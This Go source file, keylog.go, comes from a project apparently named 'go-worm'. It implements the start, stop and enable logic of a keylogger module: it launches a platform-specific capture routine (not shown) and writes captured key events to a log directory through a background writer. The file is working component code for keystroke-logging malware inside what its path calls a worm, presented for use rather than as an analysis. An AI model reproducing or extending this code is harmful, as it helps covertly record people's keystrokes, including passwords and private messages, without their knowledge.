go-worm/lib/keylog/keylog.go

package keylog

import (
	"sync"

	"tea.chunkbyte.com/kato/go-worm/lib/config"
	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)

var (
	mu       sync.Mutex
	running  bool
	writer   *Writer
	events   chan Event
	stopCh   chan struct{}
	doneCh   chan struct{}
	writerWG sync.WaitGroup
)

func Running() bool {
	mu.Lock()
	defer mu.Unlock()
	return running
}

func SetEnabled(on bool) error {
	if err := config.SetKeylogEnabled(on); err != nil {
		return err
	}
	if !on {
		Stop()
		return nil
	}
	return Start()
}

func Start() error {
	if !config.KeylogEnabled() {
		return nil
	}

	mu.Lock()
	defer mu.Unlock()
	if running {
		return nil
	}
	if err := initKeylog(); err != nil {
		return err
	}
	dir, err := config.KeylogDir()
	if err != nil {
		return err
	}
	w, err := NewWriter(dir)
	if err != nil {
		return err
	}
	events = make(chan Event, 256)
	stopCh = make(chan struct{})
	doneCh = make(chan struct{})

	writerWG.Add(1)
	go func() {
		defer writerWG.Done()
		defer helpers.RecoverLog("keylog-writer")
		for {
			select {
			case event := <-events:
				_ = w.Write(event)
			case <-stopCh:
				_ = w.Close()
				return
			}
		}
	}()

	if err := startPlatform(w, events, stopCh, doneCh); err != nil {
		close(stopCh)
		writerWG.Wait()
		events = nil
		stopCh = nil
		doneCh = nil
		return err
	}

	writer = w
	running = true
	return nil
}

func Stop() {
	mu.Lock()
	if !running {
		mu.Unlock()
		return
	}
	stop := stopCh
	done := doneCh
	running = false
	writer = nil
	events = nil
	stopCh = nil
	doneCh = nil
	mu.Unlock()

	if stop != nil {
		close(stop)
	}
	writerWG.Wait()
	if done != nil {
		<-done
	}
}